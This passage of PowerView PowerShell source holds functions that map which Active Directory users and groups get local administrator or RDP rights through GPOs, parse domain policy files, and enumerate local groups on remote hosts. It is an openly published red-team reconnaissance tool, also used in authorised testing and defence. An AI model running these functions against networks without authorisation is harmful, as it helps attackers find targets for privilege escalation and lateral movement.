13082The local group to check access against.
13083Can be "Administrators" (S-1-5-32-544), "RDP/Remote Desktop Users" (S-1-5-32-555),
13084or a custom local SID. Defaults to local 'Administrators'.
13085
13086.PARAMETER Domain
13087
13088Specifies the domain to enumerate GPOs for, defaults to the current domain.
13089
13090.PARAMETER Server
13091
13092Specifies an Active Directory server (domain controller) to bind to.
13093
13094.PARAMETER SearchScope
13095
13096Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
13097
13098.PARAMETER ResultPageSize
13099
13100Specifies the PageSize to set for the LDAP searcher object.
13101
13102.PARAMETER ServerTimeLimit
13103
13104Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
13105
13106.PARAMETER Tombstone
13107
13108Switch. Specifies that the searcher should also return deleted/tombstoned objects.
13109
13110.PARAMETER Credential
13111
13112A [Management.Automation.PSCredential] object of alternate credentials
13113for connection to the target domain.
13114
13115.EXAMPLE
13116
13117Get-DomainGPOUserLocalGroupMapping
13118
13119Find all user/group -> machine relationships where the user/group is a member
13120of the local administrators group on target machines.
13121
13122.EXAMPLE
13123
13124Get-DomainGPOUserLocalGroupMapping -Identity dfm -Domain dev.testlab.local
13125
13126Find all computers that dfm user has local administrator rights to in
13127the dev.testlab.local domain.
13128
13129.EXAMPLE
13130
13131$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
13132$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
13133Get-DomainGPOUserLocalGroupMapping -Credential $Cred
13134
13135.OUTPUTS
13136
13137PowerView.GPOLocalGroupMapping
13138
13139A custom PSObject containing any target identity information and what local
13140group memberships they're a part of through GPO correlation.
13141
13142.LINK
13143
13144http://www.harmj0y.net/blog/redteaming/where-my-admins-at-gpo-edition/
13145#>
13146
13147 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
13148 [OutputType('PowerView.GPOUserLocalGroupMapping')]
13149 [CmdletBinding()]
13150 Param(
13151 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
13152 [Alias('DistinguishedName', 'SamAccountName', 'Name')]
13153 [String]
13154 $Identity,
13155
13156 [String]
13157 [ValidateSet('Administrators', 'S-1-5-32-544', 'RDP', 'Remote Desktop Users', 'S-1-5-32-555')]
13158 $LocalGroup = 'Administrators',
13159
13160 [ValidateNotNullOrEmpty()]
13161 [String]
13162 $Domain,
13163
13164 [ValidateNotNullOrEmpty()]
13165 [Alias('ADSPath')]
13166 [String]
13167 $SearchBase,
13168
13169 [ValidateNotNullOrEmpty()]
13170 [Alias('DomainController')]
13171 [String]
13172 $Server,
13173
13174 [ValidateSet('Base', 'OneLevel', 'Subtree')]
13175 [String]
13176 $SearchScope = 'Subtree',
13177
13178 [ValidateRange(1, 10000)]
13179 [Int]
13180 $ResultPageSize = 200,
13181
13182 [ValidateRange(1, 10000)]
13183 [Int]
13184 $ServerTimeLimit,
13185
13186 [Switch]
13187 $Tombstone,
13188
13189 [Management.Automation.PSCredential]
13190 [Management.Automation.CredentialAttribute()]
13191 $Credential = [Management.Automation.PSCredential]::Empty
13192 )
13193
13194 BEGIN {
13195 $CommonArguments = @{}
13196 if ($PSBoundParameters['Domain']) { $CommonArguments['Domain'] = $Domain }
13197 if ($PSBoundParameters['Server']) { $CommonArguments['Server'] = $Server }
13198 if ($PSBoundParameters['SearchScope']) { $CommonArguments['SearchScope'] = $SearchScope }
13199 if ($PSBoundParameters['ResultPageSize']) { $CommonArguments['ResultPageSize'] = $ResultPageSize }
13200 if ($PSBoundParameters['ServerTimeLimit']) { $CommonArguments['ServerTimeLimit'] = $ServerTimeLimit }
13201 if ($PSBoundParameters['Tombstone']) { $CommonArguments['Tombstone'] = $Tombstone }
13202 if ($PSBoundParameters['Credential']) { $CommonArguments['Credential'] = $Credential }
13203 }
13204
13205 PROCESS {
13206 $TargetSIDs = @()
13207
13208 if ($PSBoundParameters['Identity']) {
13209 $TargetSIDs += Get-DomainObject @CommonArguments -Identity $Identity | Select-Object -Expand objectsid
13210 $TargetObjectSID = $TargetSIDs
13211 if (-not $TargetSIDs) {
13212 Throw "[Get-DomainGPOUserLocalGroupMapping] Unable to retrieve SID for identity '$Identity'"
13213 }
13214 }
13215 else {
13216 # no filtering/match all
13217 $TargetSIDs = @('*')
13218 }
13219
13220 if ($LocalGroup -match 'S-1-5') {
13221 $TargetLocalSID = $LocalGroup
13222 }
13223 elseif ($LocalGroup -match 'Admin') {
13224 $TargetLocalSID = 'S-1-5-32-544'
13225 }
13226 else {
13227 # RDP
13228 $TargetLocalSID = 'S-1-5-32-555'
13229 }
13230
13231 if ($TargetSIDs[0] -ne '*') {
13232 ForEach ($TargetSid in $TargetSids) {
13233 Write-Verbose "[Get-DomainGPOUserLocalGroupMapping] Enumerating nested group memberships for: '$TargetSid'"
13234 $TargetSIDs += Get-DomainGroup @CommonArguments -Properties 'objectsid' -MemberIdentity $TargetSid | Select-Object -ExpandProperty objectsid
13235 }
13236 }
13237
13238 Write-Verbose "[Get-DomainGPOUserLocalGroupMapping] Target localgroup SID: $TargetLocalSID"
13239 Write-Verbose "[Get-DomainGPOUserLocalGroupMapping] Effective target domain SIDs: $TargetSIDs"
13240
13241 $GPOgroups = Get-DomainGPOLocalGroup @CommonArguments -ResolveMembersToSIDs | ForEach-Object {
13242 $GPOgroup = $_
13243 # if the locally set group is what we're looking for, check the GroupMembers ('members') for our target SID
13244 if ($GPOgroup.GroupSID -match $TargetLocalSID) {
13245 $GPOgroup.GroupMembers | Where-Object {$_} | ForEach-Object {
13246 if ( ($TargetSIDs[0] -eq '*') -or ($TargetSIDs -Contains $_) ) {
13247 $GPOgroup
13248 }
13249 }
13250 }
13251 # if the group is a 'memberof' the group we're looking for, check GroupSID against the targt SIDs
13252 if ( ($GPOgroup.GroupMemberOf -contains $TargetLocalSID) ) {
13253 if ( ($TargetSIDs[0] -eq '*') -or ($TargetSIDs -Contains $GPOgroup.GroupSID) ) {
13254 $GPOgroup
13255 }
13256 }
13257 } | Sort-Object -Property GPOName -Unique
13258
13259 $GPOgroups | Where-Object {$_} | ForEach-Object {
13260 $GPOname = $_.GPODisplayName
13261 $GPOguid = $_.GPOName
13262 $GPOPath = $_.GPOPath
13263 $GPOType = $_.GPOType
13264 if ($_.GroupMembers) {
13265 $GPOMembers = $_.GroupMembers
13266 }
13267 else {
13268 $GPOMembers = $_.GroupSID
13269 }
13270
13271 $Filters = $_.Filters
13272
13273 if ($TargetSIDs[0] -eq '*') {
13274 # if the * wildcard was used, set the targets to all GPO members so everything it output
13275 $TargetObjectSIDs = $GPOMembers
13276 }
13277 else {
13278 $TargetObjectSIDs = $TargetObjectSID
13279 }
13280
13281 # find any OUs that have this GPO linked through gpLink
13282 Get-DomainOU @CommonArguments -Raw -Properties 'name,distinguishedname' -GPLink $GPOGuid | ForEach-Object {
13283 if ($Filters) {
13284 $OUComputers = Get-DomainComputer @CommonArguments -Properties 'dnshostname,distinguishedname' -SearchBase $_.Path | Where-Object {$_.distinguishedname -match ($Filters.Value)} | Select-Object -ExpandProperty dnshostname
13285 }
13286 else {
13287 $OUComputers = Get-DomainComputer @CommonArguments -Properties 'dnshostname' -SearchBase $_.Path | Select-Object -ExpandProperty dnshostname
13288 }
13289
13290 if ($OUComputers) {
13291 if ($OUComputers -isnot [System.Array]) {$OUComputers = @($OUComputers)}
13292
13293 ForEach ($TargetSid in $TargetObjectSIDs) {
13294 $Object = Get-DomainObject @CommonArguments -Identity $TargetSid -Properties 'samaccounttype,samaccountname,distinguishedname,objectsid'
13295
13296 $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype
13297
13298 $GPOLocalGroupMapping = New-Object PSObject
13299 $GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectName' $Object.samaccountname
13300 $GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname
13301 $GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectSID' $Object.objectsid
13302 $GPOLocalGroupMapping | Add-Member Noteproperty 'Domain' $Domain
13303 $GPOLocalGroupMapping | Add-Member Noteproperty 'IsGroup' $IsGroup
13304 $GPOLocalGroupMapping | Add-Member Noteproperty 'GPODisplayName' $GPOname
13305 $GPOLocalGroupMapping | Add-Member Noteproperty 'GPOGuid' $GPOGuid
13306 $GPOLocalGroupMapping | Add-Member Noteproperty 'GPOPath' $GPOPath
13307 $GPOLocalGroupMapping | Add-Member Noteproperty 'GPOType' $GPOType
13308 $GPOLocalGroupMapping | Add-Member Noteproperty 'ContainerName' $_.Properties.distinguishedname
13309 $GPOLocalGroupMapping | Add-Member Noteproperty 'ComputerName' $OUComputers
13310 $GPOLocalGroupMapping.PSObject.TypeNames.Insert(0, 'PowerView.GPOLocalGroupMapping')
13311 $GPOLocalGroupMapping
13312 }
13313 }
13314 }
13315
13316 # find any sites that have this GPO linked through gpLink
13317 Get-DomainSite @CommonArguments -Properties 'siteobjectbl,distinguishedname' -GPLink $GPOGuid | ForEach-Object {
13318 ForEach ($TargetSid in $TargetObjectSIDs) {
13319 $Object = Get-DomainObject @CommonArguments -Identity $TargetSid -Properties 'samaccounttype,samaccountname,distinguishedname,objectsid'
13320
13321 $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype
13322
13323 $GPOLocalGroupMapping = New-Object PSObject
13324 $GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectName' $Object.samaccountname
13325 $GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname
13326 $GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectSID' $Object.objectsid
13327 $GPOLocalGroupMapping | Add-Member Noteproperty 'IsGroup' $IsGroup
13328 $GPOLocalGroupMapping | Add-Member Noteproperty 'Domain' $Domain
13329 $GPOLocalGroupMapping | Add-Member Noteproperty 'GPODisplayName' $GPOname
13330 $GPOLocalGroupMapping | Add-Member Noteproperty 'GPOGuid' $GPOGuid
13331 $GPOLocalGroupMapping | Add-Member Noteproperty 'GPOPath' $GPOPath
13332 $GPOLocalGroupMapping | Add-Member Noteproperty 'GPOType' $GPOType
13333 $GPOLocalGroupMapping | Add-Member Noteproperty 'ContainerName' $_.distinguishedname
13334 $GPOLocalGroupMapping | Add-Member Noteproperty 'ComputerName' $_.siteobjectbl
13335 $GPOLocalGroupMapping.PSObject.TypeNames.Add('PowerView.GPOLocalGroupMapping')
13336 $GPOLocalGroupMapping
13337 }
13338 }
13339 }
13340 }
13341}
13342
13343
13344function Get-DomainGPOComputerLocalGroupMapping {
13345<#
13346.SYNOPSIS
13347
13348Takes a computer (or GPO) object and determines what users/groups are in the specified
13349local group for the machine through GPO correlation.
13350
13351Author: @harmj0y
13352License: BSD 3-Clause
13353Required Dependencies: Get-DomainComputer, Get-DomainOU, Get-NetComputerSiteName, Get-DomainSite, Get-DomainGPOLocalGroup
13354
13355.DESCRIPTION
13356
13357This function is the inverse of Get-DomainGPOUserLocalGroupMapping, and finds what users/groups
13358are in the specified local group for a target machine through GPO correlation.
13359
13360If a -ComputerIdentity is specified, retrieve the complete computer object, attempt to
13361determine the OU the computer is a part of. Then resolve the computer's site name with
13362Get-NetComputerSiteName and retrieve all sites object Get-DomainSite. For those results, attempt to
13363enumerate all linked GPOs and associated local group settings with Get-DomainGPOLocalGroup. For
13364each resulting GPO group, resolve the resulting user/group name to a full AD object and
13365return the results. This will return the domain objects that are members of the specified
13366-LocalGroup for the given computer.
13367
13368Otherwise, if -OUIdentity is supplied, the same process is executed to find linked GPOs and
13369localgroup specifications.
13370
13371.PARAMETER ComputerIdentity
13372
13373A SamAccountName (e.g. WINDOWS10$), DistinguishedName (e.g. CN=WINDOWS10,CN=Computers,DC=testlab,DC=local),
13374SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1124), GUID (e.g. 4f16b6bc-7010-4cbf-b628-f3cfe20f6994),
13375or a dns host name (e.g. windows10.testlab.local) for the computer to identity GPO local group mappings for.
13376
13377.PARAMETER OUIdentity
13378
13379An OU name (e.g. TestOU), DistinguishedName (e.g. OU=TestOU,DC=testlab,DC=local), or
13380GUID (e.g. 8a9ba22a-8977-47e6-84ce-8c26af4e1e6a) for the OU to identity GPO local group mappings for.
13381
13382.PARAMETER LocalGroup
13383
13384The local group to check access against.
13385Can be "Administrators" (S-1-5-32-544), "RDP/Remote Desktop Users" (S-1-5-32-555),
13386or a custom local SID. Defaults to local 'Administrators'.
13387
13388.PARAMETER Domain
13389
13390Specifies the domain to enumerate GPOs for, defaults to the current domain.
13391
13392.PARAMETER Server
13393
13394Specifies an Active Directory server (domain controller) to bind to.
13395
13396.PARAMETER SearchScope
13397
13398Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
13399
13400.PARAMETER ResultPageSize
13401
13402Specifies the PageSize to set for the LDAP searcher object.
13403
13404.PARAMETER ServerTimeLimit
13405
13406Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
13407
13408.PARAMETER Tombstone
13409
13410Switch. Specifies that the searcher should also return deleted/tombstoned objects.
13411
13412.PARAMETER Credential
13413
13414A [Management.Automation.PSCredential] object of alternate credentials
13415for connection to the target domain.
13416
13417.EXAMPLE
13418
13419Get-DomainGPOComputerLocalGroupMapping -ComputerName WINDOWS3.testlab.local
13420
13421Finds users who have local admin rights over WINDOWS3 through GPO correlation.
13422
13423.EXAMPLE
13424
13425Get-DomainGPOComputerLocalGroupMapping -Domain dev.testlab.local -ComputerName WINDOWS4.dev.testlab.local -LocalGroup RDP
13426
13427Finds users who have RDP rights over WINDOWS4 through GPO correlation.
13428
13429.EXAMPLE
13430
13431$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
13432$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
13433Get-DomainGPOComputerLocalGroupMapping -Credential $Cred -ComputerIdentity SQL.testlab.local
13434
13435.OUTPUTS
13436
13437PowerView.GGPOComputerLocalGroupMember
13438#>
13439
13440 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
13441 [OutputType('PowerView.GGPOComputerLocalGroupMember')]
13442 [CmdletBinding(DefaultParameterSetName = 'ComputerIdentity')]
13443 Param(
13444 [Parameter(Position = 0, ParameterSetName = 'ComputerIdentity', Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
13445 [Alias('ComputerName', 'Computer', 'DistinguishedName', 'SamAccountName', 'Name')]
13446 [String]
13447 $ComputerIdentity,
13448
13449 [Parameter(Mandatory = $True, ParameterSetName = 'OUIdentity')]
13450 [Alias('OU')]
13451 [String]
13452 $OUIdentity,
13453
13454 [String]
13455 [ValidateSet('Administrators', 'S-1-5-32-544', 'RDP', 'Remote Desktop Users', 'S-1-5-32-555')]
13456 $LocalGroup = 'Administrators',
13457
13458 [ValidateNotNullOrEmpty()]
13459 [String]
13460 $Domain,
13461
13462 [ValidateNotNullOrEmpty()]
13463 [Alias('ADSPath')]
13464 [String]
13465 $SearchBase,
13466
13467 [ValidateNotNullOrEmpty()]
13468 [Alias('DomainController')]
13469 [String]
13470 $Server,
13471
13472 [ValidateSet('Base', 'OneLevel', 'Subtree')]
13473 [String]
13474 $SearchScope = 'Subtree',
13475
13476 [ValidateRange(1, 10000)]
13477 [Int]
13478 $ResultPageSize = 200,
13479
13480 [ValidateRange(1, 10000)]
13481 [Int]
13482 $ServerTimeLimit,
13483
13484 [Switch]
13485 $Tombstone,
13486
13487 [Management.Automation.PSCredential]
13488 [Management.Automation.CredentialAttribute()]
13489 $Credential = [Management.Automation.PSCredential]::Empty
13490 )
13491
13492 BEGIN {
13493 $CommonArguments = @{}
13494 if ($PSBoundParameters['Domain']) { $CommonArguments['Domain'] = $Domain }
13495 if ($PSBoundParameters['Server']) { $CommonArguments['Server'] = $Server }
13496 if ($PSBoundParameters['SearchScope']) { $CommonArguments['SearchScope'] = $SearchScope }
13497 if ($PSBoundParameters['ResultPageSize']) { $CommonArguments['ResultPageSize'] = $ResultPageSize }
13498 if ($PSBoundParameters['ServerTimeLimit']) { $CommonArguments['ServerTimeLimit'] = $ServerTimeLimit }
13499 if ($PSBoundParameters['Tombstone']) { $CommonArguments['Tombstone'] = $Tombstone }
13500 if ($PSBoundParameters['Credential']) { $CommonArguments['Credential'] = $Credential }
13501 }
13502
13503 PROCESS {
13504 if ($PSBoundParameters['ComputerIdentity']) {
13505 $Computers = Get-DomainComputer @CommonArguments -Identity $ComputerIdentity -Properties 'distinguishedname,dnshostname'
13506
13507 if (-not $Computers) {
13508 throw "[Get-DomainGPOComputerLocalGroupMapping] Computer $ComputerIdentity not found. Try a fully qualified host name."
13509 }
13510
13511 ForEach ($Computer in $Computers) {
13512
13513 $GPOGuids = @()
13514
13515 # extract any GPOs linked to this computer's OU through gpLink
13516 $DN = $Computer.distinguishedname
13517 $OUIndex = $DN.IndexOf('OU=')
13518 if ($OUIndex -gt 0) {
13519 $OUName = $DN.SubString($OUIndex)
13520 }
13521 if ($OUName) {
13522 $GPOGuids += Get-DomainOU @CommonArguments -SearchBase $OUName -LDAPFilter '(gplink=*)' | ForEach-Object {
13523 Select-String -InputObject $_.gplink -Pattern '(\{){0,1}[0-9a-fA-F]{8}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{12}(\}){0,1}' -AllMatches | ForEach-Object {$_.Matches | Select-Object -ExpandProperty Value }
13524 }
13525 }
13526
13527 # extract any GPOs linked to this computer's site through gpLink
13528 Write-Verbose "Enumerating the sitename for: $($Computer.dnshostname)"
13529 $ComputerSite = (Get-NetComputerSiteName -ComputerName $Computer.dnshostname).SiteName
13530 if ($ComputerSite -and ($ComputerSite -notmatch 'Error')) {
13531 $GPOGuids += Get-DomainSite @CommonArguments -Identity $ComputerSite -LDAPFilter '(gplink=*)' | ForEach-Object {
13532 Select-String -InputObject $_.gplink -Pattern '(\{){0,1}[0-9a-fA-F]{8}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{12}(\}){0,1}' -AllMatches | ForEach-Object {$_.Matches | Select-Object -ExpandProperty Value }
13533 }
13534 }
13535
13536 # process any GPO local group settings from the GPO GUID set
13537 $GPOGuids | Get-DomainGPOLocalGroup @CommonArguments | Sort-Object -Property GPOName -Unique | ForEach-Object {
13538 $GPOGroup = $_
13539
13540 if($GPOGroup.GroupMembers) {
13541 $GPOMembers = $GPOGroup.GroupMembers
13542 }
13543 else {
13544 $GPOMembers = $GPOGroup.GroupSID
13545 }
13546
13547 $GPOMembers | ForEach-Object {
13548 $Object = Get-DomainObject @CommonArguments -Identity $_
13549 $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype
13550
13551 $GPOComputerLocalGroupMember = New-Object PSObject
13552 $GPOComputerLocalGroupMember | Add-Member Noteproperty 'ComputerName' $Computer.dnshostname
13553 $GPOComputerLocalGroupMember | Add-Member Noteproperty 'ObjectName' $Object.samaccountname
13554 $GPOComputerLocalGroupMember | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname
13555 $GPOComputerLocalGroupMember | Add-Member Noteproperty 'ObjectSID' $_
13556 $GPOComputerLocalGroupMember | Add-Member Noteproperty 'IsGroup' $IsGroup
13557 $GPOComputerLocalGroupMember | Add-Member Noteproperty 'GPODisplayName' $GPOGroup.GPODisplayName
13558 $GPOComputerLocalGroupMember | Add-Member Noteproperty 'GPOGuid' $GPOGroup.GPOName
13559 $GPOComputerLocalGroupMember | Add-Member Noteproperty 'GPOPath' $GPOGroup.GPOPath
13560 $GPOComputerLocalGroupMember | Add-Member Noteproperty 'GPOType' $GPOGroup.GPOType
13561 $GPOComputerLocalGroupMember.PSObject.TypeNames.Add('PowerView.GPOComputerLocalGroupMember')
13562 $GPOComputerLocalGroupMember
13563 }
13564 }
13565 }
13566 }
13567 }
13568}
13569
13570
13571function Get-DomainPolicyData {
13572<#
13573.SYNOPSIS
13574
13575Returns the default domain policy or the domain controller policy for the current
13576domain or a specified domain/domain controller.
13577
13578Author: Will Schroeder (@harmj0y)
13579License: BSD 3-Clause
13580Required Dependencies: Get-DomainGPO, Get-GptTmpl, ConvertFrom-SID
13581
13582.DESCRIPTION
13583
13584Returns the default domain policy or the domain controller policy for the current
13585domain or a specified domain/domain controller using Get-DomainGPO.
13586
13587.PARAMETER Domain
13588
13589The domain to query for default policies, defaults to the current domain.
13590
13591.PARAMETER Policy
13592
13593Extract 'Domain', 'DC' (domain controller) policies, or 'All' for all policies.
13594Otherwise queries for the particular GPO name or GUID.
13595
13596.PARAMETER Server
13597
13598Specifies an Active Directory server (domain controller) to bind to.
13599
13600.PARAMETER ServerTimeLimit
13601
13602Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
13603
13604.PARAMETER Credential
13605
13606A [Management.Automation.PSCredential] object of alternate credentials
13607for connection to the target domain.
13608
13609.EXAMPLE
13610
13611Get-DomainPolicyData
13612
13613Returns the default domain policy for the current domain.
13614
13615.EXAMPLE
13616
13617Get-DomainPolicyData -Domain dev.testlab.local
13618
13619Returns the default domain policy for the dev.testlab.local domain.
13620
13621.EXAMPLE
13622
13623Get-DomainGPO | Get-DomainPolicy
13624
13625Parses any GptTmpl.infs found for any policies in the current domain.
13626
13627.EXAMPLE
13628
13629Get-DomainPolicyData -Policy DC -Domain dev.testlab.local
13630
13631Returns the policy for the dev.testlab.local domain controller.
13632
13633.EXAMPLE
13634
13635$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
13636$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
13637Get-DomainPolicyData -Credential $Cred
13638
13639.OUTPUTS
13640
13641Hashtable
13642
13643Ouputs a hashtable representing the parsed GptTmpl.inf file.
13644#>
13645
13646 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
13647 [OutputType([Hashtable])]
13648 [CmdletBinding()]
13649 Param(
13650 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
13651 [Alias('Source', 'Name')]
13652 [String]
13653 $Policy = 'Domain',
13654
13655 [ValidateNotNullOrEmpty()]
13656 [String]
13657 $Domain,
13658
13659 [ValidateNotNullOrEmpty()]
13660 [Alias('DomainController')]
13661 [String]
13662 $Server,
13663
13664 [ValidateRange(1, 10000)]
13665 [Int]
13666 $ServerTimeLimit,
13667
13668 [Management.Automation.PSCredential]
13669 [Management.Automation.CredentialAttribute()]
13670 $Credential = [Management.Automation.PSCredential]::Empty
13671 )
13672
13673 BEGIN {
13674 $SearcherArguments = @{}
13675 if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
13676 if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
13677 if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
13678
13679 $ConvertArguments = @{}
13680 if ($PSBoundParameters['Server']) { $ConvertArguments['Server'] = $Server }
13681 if ($PSBoundParameters['Credential']) { $ConvertArguments['Credential'] = $Credential }
13682 }
13683
13684 PROCESS {
13685 if ($PSBoundParameters['Domain']) {
13686 $SearcherArguments['Domain'] = $Domain
13687 $ConvertArguments['Domain'] = $Domain
13688 }
13689
13690 if ($Policy -eq 'All') {
13691 $SearcherArguments['Identity'] = '*'
13692 }
13693 elseif ($Policy -eq 'Domain') {
13694 $SearcherArguments['Identity'] = '{31B2F340-016D-11D2-945F-00C04FB984F9}'
13695 }
13696 elseif (($Policy -eq 'DomainController') -or ($Policy -eq 'DC')) {
13697 $SearcherArguments['Identity'] = '{6AC1786C-016F-11D2-945F-00C04FB984F9}'
13698 }
13699 else {
13700 $SearcherArguments['Identity'] = $Policy
13701 }
13702
13703 $GPOResults = Get-DomainGPO @SearcherArguments
13704
13705 ForEach ($GPO in $GPOResults) {
13706 # grab the GptTmpl.inf file and parse it
13707 $GptTmplPath = $GPO.gpcfilesyspath + "\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf"
13708
13709 $ParseArgs = @{
13710 'GptTmplPath' = $GptTmplPath
13711 'OutputObject' = $True
13712 }
13713 if ($PSBoundParameters['Credential']) { $ParseArgs['Credential'] = $Credential }
13714
13715 # parse the GptTmpl.inf
13716 Get-GptTmpl @ParseArgs | ForEach-Object {
13717 $_ | Add-Member Noteproperty 'GPOName' $GPO.name
13718 $_ | Add-Member Noteproperty 'GPODisplayName' $GPO.displayname
13719 $_
13720 }
13721 }
13722 }
13723}
13724
13725
13726########################################################
13727#
13728# Functions that enumerate a single host, either through
13729# WinNT, WMI, remote registry, or API calls
13730# (with PSReflect).
13731#
13732########################################################
13733
13734function Get-NetLocalGroup {
13735<#
13736.SYNOPSIS
13737
13738Enumerates the local groups on the local (or remote) machine.
13739
13740Author: Will Schroeder (@harmj0y)
13741License: BSD 3-Clause
13742Required Dependencies: PSReflect
13743
13744.DESCRIPTION
13745
13746This function will enumerate the names and descriptions for the
13747local groups on the current, or remote, machine. By default, the Win32 API
13748call NetLocalGroupEnum will be used (for speed). Specifying "-Method WinNT"
13749causes the WinNT service provider to be used instead, which returns group
13750SIDs along with the group names and descriptions/comments.
13751
13752.PARAMETER ComputerName
13753
13754Specifies the hostname to query for sessions (also accepts IP addresses).
13755Defaults to the localhost.
13756
13757.PARAMETER Method
13758
13759The collection method to use, defaults to 'API', also accepts 'WinNT'.
13760
13761.PARAMETER Credential
13762
13763A [Management.Automation.PSCredential] object of alternate credentials
13764for connection to a remote machine. Only applicable with "-Method WinNT".
13765
13766.EXAMPLE
13767
13768Get-NetLocalGroup
13769
13770ComputerName GroupName Comment
13771------------ --------- -------
13772WINDOWS1 Administrators Administrators have comple...
13773WINDOWS1 Backup Operators Backup Operators can overr...
13774WINDOWS1 Cryptographic Operators Members are authorized to ...
13775...
13776
13777.EXAMPLE
13778
13779Get-NetLocalGroup -Method Winnt
13780
13781ComputerName GroupName GroupSID Comment
13782------------ --------- -------- -------
13783WINDOWS1 Administrators S-1-5-32-544 Administrators hav...
13784WINDOWS1 Backup Operators S-1-5-32-551 Backup Operators c...
13785WINDOWS1 Cryptographic Opera... S-1-5-32-569 Members are author...
13786...
13787
13788.EXAMPLE
13789
13790Get-NetLocalGroup -ComputerName primary.testlab.local
13791
13792ComputerName GroupName Comment
13793------------ --------- -------
13794primary.testlab.local Administrators Administrators have comple...
13795primary.testlab.local Users Users are prevented from m...
13796primary.testlab.local Guests Guests have the same acces...
13797primary.testlab.local Print Operators Members can administer dom...
13798primary.testlab.local Backup Operators Backup Operators can overr...
13799
13800.OUTPUTS
13801
13802PowerView.LocalGroup.API
13803
13804Custom PSObject with translated group property fields from API results.
13805
13806PowerView.LocalGroup.WinNT
13807
13808Custom PSObject with translated group property fields from WinNT results.
13809
13810.LINK
13811
13812https://msdn.microsoft.com/en-us/library/windows/desktop/aa370440(v=vs.85).aspx
13813#>
13814
13815 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
13816 [OutputType('PowerView.LocalGroup.API')]
13817 [OutputType('PowerView.LocalGroup.WinNT')]
13818 [CmdletBinding()]
13819 Param(
13820 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
13821 [Alias('HostName', 'dnshostname', 'name')]
13822 [ValidateNotNullOrEmpty()]
13823 [String[]]
13824 $ComputerName = $Env:COMPUTERNAME,
13825
13826 [ValidateSet('API', 'WinNT')]
13827 [Alias('CollectionMethod')]
13828 [String]
13829 $Method = 'API',
13830
13831 [Management.Automation.PSCredential]
13832 [Management.Automation.CredentialAttribute()]
13833 $Credential = [Management.Automation.PSCredential]::Empty
13834 )
13835
13836 BEGIN {
13837 if ($PSBoundParameters['Credential']) {
13838 $LogonToken = Invoke-UserImpersonation -Credential $Credential
13839 }
13840 }
13841
13842 PROCESS {
13843 ForEach ($Computer in $ComputerName) {
13844 if ($Method -eq 'API') {
13845 # if we're using the Netapi32 NetLocalGroupEnum API call to get the local group information
13846
13847 # arguments for NetLocalGroupEnum
13848 $QueryLevel = 1
13849 $PtrInfo = [IntPtr]::Zero
13850 $EntriesRead = 0
13851 $TotalRead = 0
13852 $ResumeHandle = 0
13853
13854 # get the local user information
13855 $Result = $Netapi32::NetLocalGroupEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle)
13856
13857 # locate the offset of the initial intPtr
13858 $Offset = $PtrInfo.ToInt64()
13859
13860 # 0 = success
13861 if (($Result -eq 0) -and ($Offset -gt 0)) {
13862
13863 # Work out how much to increment the pointer by finding out the size of the structure
13864 $Increment = $LOCALGROUP_INFO_1::GetSize()
13865
13866 # parse all the result structures
13867 for ($i = 0; ($i -lt $EntriesRead); $i++) {
13868 # create a new int ptr at the given offset and cast the pointer as our result structure
13869 $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
13870 $Info = $NewIntPtr -as $LOCALGROUP_INFO_1
13871
13872 $Offset = $NewIntPtr.ToInt64()
13873 $Offset += $Increment
13874
13875 $LocalGroup = New-Object PSObject
13876 $LocalGroup | Add-Member Noteproperty 'ComputerName' $Computer
13877 $LocalGroup | Add-Member Noteproperty 'GroupName' $Info.lgrpi1_name
13878 $LocalGroup | Add-Member Noteproperty 'Comment' $Info.lgrpi1_comment
13879 $LocalGroup.PSObject.TypeNames.Insert(0, 'PowerView.LocalGroup.API')
13880 $LocalGroup
13881 }
13882 # free up the result buffer
13883 $Null = $Netapi32::NetApiBufferFree($PtrInfo)
13884 }
13885 else {
